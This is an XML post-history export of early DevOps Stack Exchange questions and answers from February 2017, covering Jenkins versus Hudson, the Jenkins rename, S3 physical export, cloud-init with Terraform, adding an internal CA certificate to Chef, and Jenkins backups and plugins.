<?xml version="1.0" encoding="utf-8"?>
<posthistory>
  <row Id="1" PostHistoryTypeId="2" PostId="1" RevisionGUID="41fd1f49-6063-49e9-93e9-fc6406994949" CreationDate="2017-02-28T16:47:57.887" UserId="3" Text="I'm aware that Jenkins is a fork of Hudson. What are the main benefits/advantages of using Jenkins over Hudson for a small private business?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2" PostHistoryTypeId="1" PostId="1" RevisionGUID="41fd1f49-6063-49e9-93e9-fc6406994949" CreationDate="2017-02-28T16:47:57.887" UserId="3" Text="What are the advantages of using Jenkins over Hudson?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3" PostHistoryTypeId="3" PostId="1" RevisionGUID="41fd1f49-6063-49e9-93e9-fc6406994949" CreationDate="2017-02-28T16:47:57.887" UserId="3" Text="&lt;jenkins&gt;&lt;hudson&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4" PostHistoryTypeId="2" PostId="2" RevisionGUID="f471c634-8892-4f42-bb2a-0cf3213f3e82" CreationDate="2017-02-28T16:51:30.533" UserId="3" Text="I'd like to order backup of data to be copied out from S3 to a physical drive (SATA HD) and to be shipped to the address. I know it's possible using [Amazon Glacier][1], however I cannot find such option anywhere. What would be the easiest way to do that?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/glacier/" ContentLicense="CC BY-SA 3.0" />
  <row Id="5" PostHistoryTypeId="1" PostId="2" RevisionGUID="f471c634-8892-4f42-bb2a-0cf3213f3e82" CreationDate="2017-02-28T16:51:30.533" UserId="3" Text="How to order physical backup of S3 data?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6" PostHistoryTypeId="3" PostId="2" RevisionGUID="f471c634-8892-4f42-bb2a-0cf3213f3e82" CreationDate="2017-02-28T16:51:30.533" UserId="3" Text="&lt;amazon-s3&gt;&lt;amazon&gt;&lt;storage&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7" PostHistoryTypeId="2" PostId="3" RevisionGUID="19c148a3-deaf-470d-a835-a36242f8792f" CreationDate="2017-02-28T16:53:01.960" UserId="20" Text="I see that whenever someone does DevOps, it's mostly about automating things like deployment etc.&#xD;&#xA;&#xD;&#xA;But what exactly is the essence of DevOps?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8" PostHistoryTypeId="1" PostId="3" RevisionGUID="19c148a3-deaf-470d-a835-a36242f8792f" CreationDate="2017-02-28T16:53:01.960" UserId="20" Text="What's the essence of DevOps? How is it different from automating things?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9" PostHistoryTypeId="3" PostId="3" RevisionGUID="19c148a3-deaf-470d-a835-a36242f8792f" CreationDate="2017-02-28T16:53:01.960" UserId="20" Text="&lt;automation&gt;&lt;continous-integration&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10" PostHistoryTypeId="2" PostId="4" RevisionGUID="9537bb16-da50-4093-8140-9c2fcb5eea05" CreationDate="2017-02-28T16:54:11.810" UserId="6" Text="I assume that an org. wishing to do a DevOps transformation has some problems and policies it is interested in changing. This interest can come from top managers, middle managers, or even from bottom up. One of the biggest factors impeding this change is making other people buy into doing the change.&#xD;&#xA;&#xD;&#xA;For example, in many cases pushing &quot;new&quot; ideas such as Agile, often fails. People resist change, and it seems like a wall that stop good things from happening. Yet there is a mandate for good things to happen.&#xD;&#xA;&#xD;&#xA;What methods can be used to affect employees in an organization starting its DevOps transformation? Especially ways that are found to work." ContentLicense="CC BY-SA 3.0" />
  <row Id="11" PostHistoryTypeId="1" PostId="4" RevisionGUID="9537bb16-da50-4093-8140-9c2fcb5eea05" CreationDate="2017-02-28T16:54:11.810" UserId="6" Text="How to change existing policies in an organisation?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12" PostHistoryTypeId="3" PostId="4" RevisionGUID="9537bb16-da50-4093-8140-9c2fcb5eea05" CreationDate="2017-02-28T16:54:11.810" UserId="6" Text="&lt;culture&gt;&lt;resisting-change&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="13" PostHistoryTypeId="2" PostId="5" RevisionGUID="ce83ce7f-f9ea-4957-80e9-5f85422273e3" CreationDate="2017-02-28T16:54:32.700" UserId="2" Text="In short: the community. I developed a Jenkins plugin recently, and supporting Hudson did not even cross my mind (Jenkins has waaay more plugins).&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="14" PostHistoryTypeId="2" PostId="6" RevisionGUID="82b144f0-9c3d-40da-929c-deffd3716ed9" CreationDate="2017-02-28T16:57:09.277" UserId="7" Text="With tools like Riemann, New Relic, etc., is there any benefit to building custom app metrics tools for monitoring application health?" ContentLicense="CC BY-SA 3.0" />
  <row Id="15" PostHistoryTypeId="1" PostId="6" RevisionGUID="82b144f0-9c3d-40da-929c-deffd3716ed9" CreationDate="2017-02-28T16:57:09.277" UserId="7" Text="What are the benefits of using third party app metrics tools vs custom built tools?" ContentLicense="CC BY-SA 3.0" />
  <row Id="16" PostHistoryTypeId="3" PostId="6" RevisionGUID="82b144f0-9c3d-40da-929c-deffd3716ed9" CreationDate="2017-02-28T16:57:09.277" UserId="7" Text="&lt;monitoring&gt;&lt;metrics&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="17" PostHistoryTypeId="2" PostId="7" RevisionGUID="85375ffb-9031-4a88-a226-37bcca45e6c1" CreationDate="2017-02-28T16:57:28.717" UserId="3" Text="There are two similar CI: Hudson and Jenkins. The Jenkins project was forked from Hudson after a dispute with Oracle. Why it was renamed to Jenkins and what was the dispute about?" ContentLicense="CC BY-SA 3.0" />
  <row Id="18" PostHistoryTypeId="1" PostId="7" RevisionGUID="85375ffb-9031-4a88-a226-37bcca45e6c1" CreationDate="2017-02-28T16:57:28.717" UserId="3" Text="Why Hudson has been renamed to Jenkins?" ContentLicense="CC BY-SA 3.0" />
  <row Id="19" PostHistoryTypeId="3" PostId="7" RevisionGUID="85375ffb-9031-4a88-a226-37bcca45e6c1" CreationDate="2017-02-28T16:57:28.717" UserId="3" Text="&lt;jenkins&gt;&lt;hudson&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="20" PostHistoryTypeId="2" PostId="8" RevisionGUID="14e20597-1642-4b87-9d23-d01c42533fd6" CreationDate="2017-02-28T16:58:20.810" UserId="2" Text="I think you want [Amazon Snowball][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/snowball/" ContentLicense="CC BY-SA 3.0" />
  <row Id="21" PostHistoryTypeId="2" PostId="9" RevisionGUID="924b0101-b041-4bfe-907f-3aff3646da83" CreationDate="2017-02-28T16:58:42.367" UserId="3" Text="I'd like to deploy a custom field of a core plugin. How can I do it?" ContentLicense="CC BY-SA 3.0" />
  <row Id="22" PostHistoryTypeId="1" PostId="9" RevisionGUID="924b0101-b041-4bfe-907f-3aff3646da83" CreationDate="2017-02-28T16:58:42.367" UserId="3" Text="How to deploy a custom build of a Jenkins core plugin?" ContentLicense="CC BY-SA 3.0" />
  <row Id="23" PostHistoryTypeId="3" PostId="9" RevisionGUID="924b0101-b041-4bfe-907f-3aff3646da83" CreationDate="2017-02-28T16:58:42.367" UserId="3" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="24" PostHistoryTypeId="2" PostId="10" RevisionGUID="8ee27f50-39d8-4f01-9e95-eb4c76a0d0c9" CreationDate="2017-02-28T16:59:16.180" UserId="15" Text="I am working with Digital Ocean and Terraform and I already can automate the domain, subdomain, network preferences and the host but there is a section called `User data` that looks like this:&#xD;&#xA;&#xD;&#xA;[![User data][1]][1]&#xD;&#xA;&#xD;&#xA;The description of that field says `Allows the use of Cloud-init to configure your droplet`. Looking around I found the [documentation][2].&#xD;&#xA;&#xD;&#xA;My question is, how to take advantage of this while using [Terraform][3]?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/fPCZ4.png&#xD;&#xA;  [2]: https://cloudinit.readthedocs.io/en/latest/&#xD;&#xA;  [3]: https://www.terraform.io/" ContentLicense="CC BY-SA 3.0" />
  <row Id="25" PostHistoryTypeId="1" PostId="10" RevisionGUID="8ee27f50-39d8-4f01-9e95-eb4c76a0d0c9" CreationDate="2017-02-28T16:59:16.180" UserId="15" Text="How to use cloud-init with terraform?" ContentLicense="CC BY-SA 3.0" />
  <row Id="26" PostHistoryTypeId="3" PostId="10" RevisionGUID="8ee27f50-39d8-4f01-9e95-eb4c76a0d0c9" CreationDate="2017-02-28T16:59:16.180" UserId="15" Text="&lt;terraform&gt;&lt;cloud-init&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="27" PostHistoryTypeId="2" PostId="11" RevisionGUID="1bce0fd1-7484-425c-a930-4e1c5c7a488f" CreationDate="2017-02-28T17:00:23.817" UserId="6" Text="AWS Import/Export is a service that accelerates transferring data into and out of AWS using physical storage appliances, bypassing the Internet. AWS Import/Export Disk was originally the only service offered by AWS for data transfer by mail. Disk supports transfers data directly onto and off of storage devices you own using the Amazon high-speed internal network.&#xD;&#xA;&#xD;&#xA;The documentation explains how to prepare a device for export, and how to create the Amazon S3 Export process -&#xD;&#xA;&#xD;&#xA;http://docs.aws.amazon.com/AWSImportExport/latest/DG/PackingS3Jobs.html&#xD;&#xA;http://docs.aws.amazon.com/AWSImportExport/latest/DG/createanexportjob.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="28" PostHistoryTypeId="2" PostId="12" RevisionGUID="9ec1daab-99f5-449b-9eb3-ddce07b4777e" CreationDate="2017-02-28T17:00:24.807" UserId="3" Text="I'm aware that Jenkins supports Git and SVN. What other SCM tools does Jenkins support?" ContentLicense="CC BY-SA 3.0" />
  <row Id="29" PostHistoryTypeId="1" PostId="12" RevisionGUID="9ec1daab-99f5-449b-9eb3-ddce07b4777e" CreationDate="2017-02-28T17:00:24.807" UserId="3" Text="Which SCM tools does Jenkins support?" ContentLicense="CC BY-SA 3.0" />
  <row Id="30" PostHistoryTypeId="3" PostId="12" RevisionGUID="9ec1daab-99f5-449b-9eb3-ddce07b4777e" CreationDate="2017-02-28T17:00:24.807" UserId="3" Text="&lt;jenkins&gt;&lt;scm&gt;&lt;git&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="35" PostHistoryTypeId="4" PostId="3" RevisionGUID="00ef2c65-2c77-484f-b004-b8df0246e75b" CreationDate="2017-02-28T17:02:05.247" UserId="20" Comment="edited title" Text="What's the difference between DevOps and Automation?" ContentLicense="CC BY-SA 3.0" />
  <row Id="36" PostHistoryTypeId="5" PostId="9" RevisionGUID="354da1f5-be60-4b9c-bf6c-f08f10b80ac4" CreationDate="2017-02-28T17:03:27.867" UserId="3" Comment="added 73 characters in body" Text="As far as I know, is a common question on the DevOps interviews. So I would like to know, how can you deploy a custom field of a core plugin?" ContentLicense="CC BY-SA 3.0" />
  <row Id="40" PostHistoryTypeId="2" PostId="15" RevisionGUID="e370ceff-b3da-4b48-90d8-d1ecb709a644" CreationDate="2017-02-28T17:04:51.597" UserId="6" Text="When you create an Auto Scaling group with Terraform, you can specify the `user_data` to be used by instances created by this ASG. Documented here - https://www.terraform.io/docs/providers/aws/r/launch_configuration.html#user_data&#xD;&#xA;&#xD;&#xA;You can also create a single EC2 instance, and provide `user_data` to be used - https://www.terraform.io/docs/providers/aws/r/instance.html#user_data&#xD;&#xA;&#xD;&#xA;The AWS EC2 documentation explains how `user_data` is passed to the `cloud-init` service which is running on most Linux distributions available as AMIs on AWS - http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html#user-data-cloud-init" ContentLicense="CC BY-SA 3.0" />
  <row Id="41" PostHistoryTypeId="2" PostId="16" RevisionGUID="2a91ef51-9755-4d7d-ab2a-6bbaeab7ebb4" CreationDate="2017-02-28T17:06:09.223" UserId="9" Text="I am trying to automate my AWS application deployment with Jenkins. &#xD;&#xA; &#xD;&#xA;Right now if we want to update the application in any of the environments, say UAT, we build our docker images, find the current ECS Task and update it with the new image, find the running ECS Cluster, and update the tasks.  &#xD;&#xA;&#xD;&#xA;Broadly, what is best practice for keeping track of cloud resource Id's (ECS Cluster Id's, ECS Task Id's, EC2 Id's, etc) in your Continuous Integration environment?" ContentLicense="CC BY-SA 3.0" />
  <row Id="42" PostHistoryTypeId="1" PostId="16" RevisionGUID="2a91ef51-9755-4d7d-ab2a-6bbaeab7ebb4" CreationDate="2017-02-28T17:06:09.223" UserId="9" Text="How can I keep track of my Cloud Resources with Continuous Deployment?" ContentLicense="CC BY-SA 3.0" />
  <row Id="43" PostHistoryTypeId="3" PostId="16" RevisionGUID="2a91ef51-9755-4d7d-ab2a-6bbaeab7ebb4" CreationDate="2017-02-28T17:06:09.223" UserId="9" Text="&lt;automation&gt;&lt;aws&gt;&lt;continuous-integration&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="44" PostHistoryTypeId="2" PostId="17" RevisionGUID="2a3889d5-623d-43c5-842b-d42d15830664" CreationDate="2017-02-28T17:07:30.237" UserId="3" Text="I'd like to download an artifact file using Jenkins CI. How can I do it? Do I need a plugin to do this?" ContentLicense="CC BY-SA 3.0" />
  <row Id="45" PostHistoryTypeId="1" PostId="17" RevisionGUID="2a3889d5-623d-43c5-842b-d42d15830664" CreationDate="2017-02-28T17:07:30.237" UserId="3" Text="How do you fetch a job's artifacts from a remote system in Jenkins?" ContentLicense="CC BY-SA 3.0" />
  <row Id="46" PostHistoryTypeId="3" PostId="17" RevisionGUID="2a3889d5-623d-43c5-842b-d42d15830664" CreationDate="2017-02-28T17:07:30.237" UserId="3" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="47" PostHistoryTypeId="2" PostId="18" RevisionGUID="62d79d0d-7cb0-472f-8af9-497e9f1e7c46" CreationDate="2017-02-28T17:08:00.070" UserId="14" Text="The [Jenkins website](https://jenkins.io/blog/2011/01/11/hudsons-future/) has a blog post on this issue:&#xD;&#xA;&#xD;&#xA;&gt; But one issue, which we feel is the most significant issue of all, one for which we now believe no resolution is possible: the rights to the name Hudson.&#xD;&#xA;&#xD;&#xA;&gt; Oracle has told us that they have trademark applications filed in both the EU and US for Hudson, based on Hudson's creation by Kohsuke while working at Sun. The problem is that this trademark ownership gives Oracle the ability to revoke the Hudson project's right to call itself Hudson at any time, and while Oracle has made an attempt to offer some guarantees (most notably, that binary releases of Hudson, once they've been released with the name Hudson attached, will always retain the right to the name), they are not offering any binding guarantee that the Hudson project will be able to retain its use of the name in perpetuity.&#xD;&#xA;&#xD;&#xA;&gt; Therefore, to continue using the name Hudson means ceding some of the project's independence to Oracle - if the project and its governance board opted to go in a direction Oracle disapproved of, Oracle would be able to take away the naming rights. Or, in a less dramatic scenario, Oracle could insist on certain changes to the code, infrastructure decisions, process, etc, regardless of opposition from the Hudson development community, in order to retain the rights to the name.&#xD;&#xA;&#xD;&#xA;The Jenkins team were concerned that using the name 'Hudson' would give Oracle far too much control over the project, because there was a constant threat that if the project didn't do what Oracle wanted, they'd simply yank the rights to the trademark. &#xD;&#xA;&#xD;&#xA;In order to retain independence, the developers of Hudson voted to rename the project Jenkins. However, here's where it gets confusing. Oracle chose to **continue developing Hudson**, essentially making Jenkins a fork because the code started to diverge. There is some dispute about whether this is really a fork or a rename, although it's more an argument over semantics than constructive discussion.&#xD;&#xA;&#xD;&#xA;As of now:&#xD;&#xA;&#xD;&#xA;- Jenkins has become the predominant version, and [interest in Hudson has collapsed](https://en.wikipedia.org/wiki/Hudson_(software))&#xD;&#xA;&#xD;&#xA;- Hudson is now managed by the Eclipse Foundation, after Oracle gave up development and donated the code to Eclipse." ContentLicense="CC BY-SA 3.0" />
  <row Id="48" PostHistoryTypeId="2" PostId="19" RevisionGUID="67925fca-25d5-4603-97bb-a33a189ec511" CreationDate="2017-02-28T17:08:12.693" UserId="13" Text="We do use an internal Certificate Authority to create server certificates in my company.&#xD;&#xA;&#xD;&#xA;We also have to deal with a transparent proxy doing SSL interception (MITM).&#xD;&#xA;&#xD;&#xA;I regularly encounter SSL validation errors due to Chef not knowing the CA  certificate and sometimes it's the tooling around (berkshelf, knife, even chef client itself when talking to the server for the first time since chef 12 enable ssl by default).&#xD;&#xA;&#xD;&#xA;Question is: how do I make Chef aware of my CA certificate to get valid SSL exchanges ?" ContentLicense="CC BY-SA 3.0" />
  <row Id="49" PostHistoryTypeId="1" PostId="19" RevisionGUID="67925fca-25d5-4603-97bb-a33a189ec511" CreationDate="2017-02-28T17:08:12.693" UserId="13" Text="How do I include my internal CA certificate to validate SSL exchanges in Chef?" ContentLicense="CC BY-SA 3.0" />
  <row Id="50" PostHistoryTypeId="3" PostId="19" RevisionGUID="67925fca-25d5-4603-97bb-a33a189ec511" CreationDate="2017-02-28T17:08:12.693" UserId="13" Text="&lt;chef&gt;&lt;ssl&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="51" PostHistoryTypeId="2" PostId="20" RevisionGUID="5799b619-d8d1-4842-bc56-cada1fba986e" CreationDate="2017-02-28T17:08:12.693" UserId="13" Text="There's a couple of way to achieve the result:&#xD;&#xA;&#xD;&#xA; 1. Chef have a `trusted_dir` to allow adding certificate to the trusted list. the [documentation](https://docs.chef.io/chef_client_security.html#ssl-certificates) has a lot of details about it. Adding your CA certificate to this directory would solve the problem. `knife` has it also in a slightly different path as per it's own [documentation](https://docs.chef.io/knife_ssl_fetch.html)&#xD;&#xA;&#xD;&#xA; 2. Chef use its own CA certiticate list in `/opt/chef/embedded/ssl/certs/cacert.pem`. &#xD;&#xA;You can add your CA certificate at end of this list to trust it. &#xD;&#xA;&#xD;&#xA;The second option has an advantage of allowing to export the environment variable `SSL_CERT_FILE` pointing to chef `cacert.pem` to allow most of the tools using `openssl` library to know your CA certificate.&#xD;&#xA;&#xD;&#xA;For the case of a self signed certificate on the chef server (or another server used as target in a recipe), `knife ssl_fetch` would allow all knife commands to work.&#xD;&#xA;&#xD;&#xA;To add the server certificate to the cacert.pem for the case 2. above, you can use the following command:&#xD;&#xA;&#xD;&#xA;    openssl s_client -showcerts -connect &lt;YOUR_CHEF_SERVER&gt;:443 &lt;/dev/null 2&gt;/dev/null|openssl x509 -outform PEM &gt;&gt; /opt/chefdk/embedded/ssl/certs/cacert.pem&#xD;&#xA;&#xD;&#xA;    export SSL_CERT_FILE=/opt/chefdk/embedded/ssl/certs/cacert.pem&#xD;&#xA;&#xD;&#xA;openssl command is included in chef-dk, so this can be done under windows also, the patch change to `c:\opscode\`instead of `/opt/` and to export the environment variable use `set SSL_CERT_FILE=...` (with `/P` to add it permanently to your environment) " ContentLicense="CC BY-SA 3.0" />
  <row Id="52" PostHistoryTypeId="2" PostId="21" RevisionGUID="ec2f8081-4397-41dc-8856-eebc75207025" CreationDate="2017-02-28T17:08:31.477" UserId="3" Text="I'd like to backup all Jenkins jobs and config files. What's the easiest way of doing it?" ContentLicense="CC BY-SA 3.0" />
  <row Id="53" PostHistoryTypeId="1" PostId="21" RevisionGUID="ec2f8081-4397-41dc-8856-eebc75207025" CreationDate="2017-02-28T17:08:31.477" UserId="3" Text="How do you back up Jenkins jobs &amp; master configs?" ContentLicense="CC BY-SA 3.0" />
  <row Id="54" PostHistoryTypeId="3" PostId="21" RevisionGUID="ec2f8081-4397-41dc-8856-eebc75207025" CreationDate="2017-02-28T17:08:31.477" UserId="3" Text="&lt;jenkins&gt;&lt;backup&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="55" PostHistoryTypeId="4" PostId="7" RevisionGUID="17b59f96-b439-4ceb-b76f-8070478dffb2" CreationDate="2017-02-28T17:08:52.333" UserId="2" Comment="grammar in title" Text="Why has Hudson been renamed to Jenkins?" ContentLicense="CC BY-SA 3.0" />
  <row Id="56" PostHistoryTypeId="24" PostId="7" RevisionGUID="17b59f96-b439-4ceb-b76f-8070478dffb2" CreationDate="2017-02-28T17:08:52.333" Comment="Proposed by 2 approved by 3 edit id of 2" ContentLicense="CC BY-SA 3.0" />
  <row Id="57" PostHistoryTypeId="2" PostId="22" RevisionGUID="6d94ac62-35eb-48de-afb9-49e16eddf024" CreationDate="2017-02-28T17:09:19.757" UserId="15" Text="It supports **AccuRev, CVS, Subversion, Git, Mercurial, Perforce, Clearcase** and **RTC**.&#xD;&#xA;&#xD;&#xA;For all of them exists a plugin and as you probably already know, Jenkins is not limited to only that list, anyone can create a SCM plugin for other options if they want to.&#xD;&#xA;&#xD;&#xA;Here is the link to the plugins:&#xD;&#xA;&#xD;&#xA;- AccuRev: https://wiki.jenkins-ci.org/display/JENKINS/AccuRev+Plugin&#xD;&#xA;- CVS: https://wiki.jenkins-ci.org/display/JENKINS/CVS+Plugin&#xD;&#xA;- Subversion: https://wiki.jenkins-ci.org/display/JENKINS/Subversion+Plugin&#xD;&#xA;- Git: https://wiki.jenkins-ci.org/display/JENKINS/Git+Plugin&#xD;&#xA;- Mercurial: https://wiki.jenkins-ci.org/display/JENKINS/Mercurial+Plugin&#xD;&#xA;- Perforce: https://wiki.jenkins-ci.org/display/JENKINS/Perforce+Plugin&#xD;&#xA;- Clearcase: https://wiki.jenkins-ci.org/display/JENKINS/ClearCase+Plugin&#xD;&#xA;- RTC: https://wiki.jenkins-ci.org/display/JENKINS/Team+Concert+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="58" PostHistoryTypeId="2" PostId="23" RevisionGUID="1612341a-86e5-4d57-8112-eb2fecc59588" CreationDate="2017-02-28T17:09:37.800" UserId="3" Text="I'd like to receive automatic push notification to my mobile about completed Jenkins jobs and their status (success or failure) in any form. Is it possible?" ContentLicense="CC BY-SA 3.0" />
  <row Id="59" PostHistoryTypeId="1" PostId="23" RevisionGUID="1612341a-86e5-4d57-8112-eb2fecc59588" CreationDate="2017-02-28T17:09:37.800" UserId="3" Text="How to get mobile push notifications on Jenkins jobs?" ContentLicense="CC BY-SA 3.0" />
  <row Id="60" PostHistoryTypeId="3" PostId="23" RevisionGUID="1612341a-86e5-4d57-8112-eb2fecc59588" CreationDate="2017-02-28T17:09:37.800" UserId="3" Text="&lt;jenkins&gt;&lt;notifications&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="62" PostHistoryTypeId="2" PostId="24" RevisionGUID="8fe9447c-56b8-47d8-963d-091214a38810" CreationDate="2017-02-28T17:11:35.843" UserId="6" Text="Some consulting companies are promoting a service called &quot;DevOps Transformation&quot;. Multiple big companies are talking about the subject at conferences and meetups around the world.&#xD;&#xA;&#xD;&#xA;What does such &quot;DevOps Transformation&quot; entail?&#xD;&#xA;How does it look like in actionable terms, both for successful transformations, and failed ones." ContentLicense="CC BY-SA 3.0" />
  <row Id="63" PostHistoryTypeId="1" PostId="24" RevisionGUID="8fe9447c-56b8-47d8-963d-091214a38810" CreationDate="2017-02-28T17:11:35.843" UserId="6" Text="What does a &quot;DevOps Transformation&quot; contain?" ContentLicense="CC BY-SA 3.0" />
  <row Id="64" PostHistoryTypeId="3" PostId="24" RevisionGUID="8fe9447c-56b8-47d8-963d-091214a38810" CreationDate="2017-02-28T17:11:35.843" UserId="6" Text="&lt;culture&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="66" PostHistoryTypeId="2" PostId="25" RevisionGUID="0da1656b-297d-4fa6-93b7-39614a9b0eef" CreationDate="2017-02-28T17:13:26.170" UserId="3" Text="I'd like to store custom job result data into some format (e.g. in XML) that Jenkins can read and produce the summary report on the job page (ideally in the form of table).&#xD;&#xA;&#xD;&#xA;I'd like to know how this can be achieved?" ContentLicense="CC BY-SA 3.0" />
  <row Id="67" PostHistoryTypeId="1" PostId="25" RevisionGUID="0da1656b-297d-4fa6-93b7-39614a9b0eef" CreationDate="2017-02-28T17:13:26.170" UserId="3" Text="How to store Jenkins job results and produce a summary report?" ContentLicense="CC BY-SA 3.0" />
  <row Id="68" PostHistoryTypeId="3" PostId="25" RevisionGUID="0da1656b-297d-4fa6-93b7-39614a9b0eef" CreationDate="2017-02-28T17:13:26.170" UserId="3" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="69" PostHistoryTypeId="2" PostId="26" RevisionGUID="0a4c87a4-f0bd-47e0-bb06-9c9ae4181b19" CreationDate="2017-02-28T17:14:34.443" UserId="57" Text="For real push notifications you will need good amount of mobile contracts and infra. &#xD;&#xA;&#xD;&#xA;Maybe you can consider using some kind of IM which will send you message to your IM" ContentLicense="CC BY-SA 3.0" />
  <row Id="70" PostHistoryTypeId="2" PostId="27" RevisionGUID="109295c5-758b-4921-915f-9bd7bda8aec8" CreationDate="2017-02-28T17:15:06.537" UserId="15" Text="There are many ways to do this but the easiest way I can think is doing a backup of the Jenkins Home folder.&#xD;&#xA;&#xD;&#xA;You can see where is your Jenkins home with:&#xD;&#xA;&#xD;&#xA;    echo $JENKINS_HOME&#xD;&#xA;&#xD;&#xA;And for example, if you only want to backup the jobs you can go to:&#xD;&#xA;&#xD;&#xA;    cd $JENKINS_HOME/jobs&#xD;&#xA;&#xD;&#xA;And make a backup for that folder.&#xD;&#xA;&#xD;&#xA;All that configuration will be a bunch of **XML** files.&#xD;&#xA;&#xD;&#xA;If you are using the [official Jenkins docker image][1], the home will be on:&#xD;&#xA;&#xD;&#xA;    /var/jenkins_home&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/_/jenkins/" ContentLicense="CC BY-SA 3.0" />
  <row Id="71" PostHistoryTypeId="2" PostId="28" RevisionGUID="ad3bbf6c-7486-4ae4-9a79-4d5e5401ab9b" CreationDate="2017-02-28T17:15:19.200" UserId="62" Text="If you ever been bitten by a plugin upgrade that broke some functionality you must have given some thought about this problem: What should be the Jenkins plugins upgrade policy? How do you test changes before deploying them?&#xD;&#xA;&#xD;&#xA;Has anyone gone as far as having a test instance running dummy jobs to test the new versions or do you just pray that upgrading the versions won't break anything?" ContentLicense="CC BY-SA 3.0" />
  <row Id="72" PostHistoryTypeId="1" PostId="28" RevisionGUID="ad3bbf6c-7486-4ae4-9a79-4d5e5401ab9b" CreationDate="2017-02-28T17:15:19.200" UserId="62" Text="Jenkins Plugin upgrade policy" ContentLicense="CC BY-SA 3.0" />
  <row Id="73" PostHistoryTypeId="3" PostId="28" RevisionGUID="ad3bbf6c-7486-4ae4-9a79-4d5e5401ab9b" CreationDate="2017-02-28T17:15:19.200" UserId="62" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="74" PostHistoryTypeId="5" PostId="11" RevisionGUID="064d57b4-0dda-468f-b7f1-f7e3fb6f2620" CreationDate="2017-02-28T17:15:43.020" UserId="6" Comment="added 673 characters in body" Text="AWS Import/Export is a service that accelerates transferring data into and out of AWS using physical storage appliances, bypassing the Internet. AWS Import/Export Disk was originally the only service offered by AWS for data transfer by mail. Disk supports transfers data directly onto and off of storage devices you own using the Amazon high-speed internal network.&#xD;&#xA;&#xD;&#xA;Import/Export was released on May 2009, and described in this blog post - https://aws.amazon.com/blogs/aws/send-us-that-data/&#xD;&#xA;&#xD;&#xA;Released on October of 2016 there is also [Amazon Snowball][1], a service for customers who want to transport terabytes or petabytes of data to and from AWS, or who want to access the storage and compute power of the AWS cloud locally and cost effectively in places where connecting to the internet may not be an option.&#xD;&#xA;&#xD;&#xA;Blog post describing the snowball service -&#xD;&#xA;https://aws.amazon.com/blogs/aws/aws-importexport-snowball-transfer-1-petabyte-per-week-using-amazon-owned-storage-appliances/&#xD;&#xA;&#xD;&#xA;The documentation explains how to prepare a device for export, and how to create the Amazon S3 Export process -&#xD;&#xA;&#xD;&#xA;http://docs.aws.amazon.com/AWSImportExport/latest/DG/PackingS3Jobs.html&#xD;&#xA;http://docs.aws.amazon.com/AWSImportExport/latest/DG/createanexportjob.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/snowball/" ContentLicense="CC BY-SA 3.0" />
  <row Id="75" PostHistoryTypeId="2" PostId="29" RevisionGUID="84fa0683-1e4e-4686-b608-e2094d912224" CreationDate="2017-02-28T17:16:13.380" UserId="2" Text="Have a look at the [Summary Display plugin][1].&#xD;&#xA;&#xD;&#xA;In general, the answer to such questions is usually found by searching the endless [Jenkins plugin index][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Summary+Display+Plugin&#xD;&#xA;  [2]: https://plugins.jenkins.io/" ContentLicense="CC BY-SA 3.0" />
  <row Id="76" PostHistoryTypeId="2" PostId="30" RevisionGUID="97087258-ed8a-462e-af4c-efbeb4a42888" CreationDate="2017-02-28T17:16:40.990" UserId="44" Text="Jenkins has a bunch of plugins:&#xD;&#xA;&#xD;&#xA;- There's HTML5 [desktop notifier plugin][1] which can push notifications to your browser&#xD;&#xA;- There's a [Slack plugin][2] which can push notifications to a Slack team/channel&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/HTML5+Notifier+Plugin&#xD;&#xA;  [2]: https://wiki.jenkins-ci.org/display/JENKINS/Slack+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="77" PostHistoryTypeId="2" PostId="31" RevisionGUID="683cd312-29db-4c70-a902-bd69b3918157" CreationDate="2017-02-28T17:16:54.077" UserId="3" Text="I'd like to understand better job permissions in Jenkins. What type of user permissions can I setup in Jenkins? And when would you use each?" ContentLicense="CC BY-SA 3.0" />
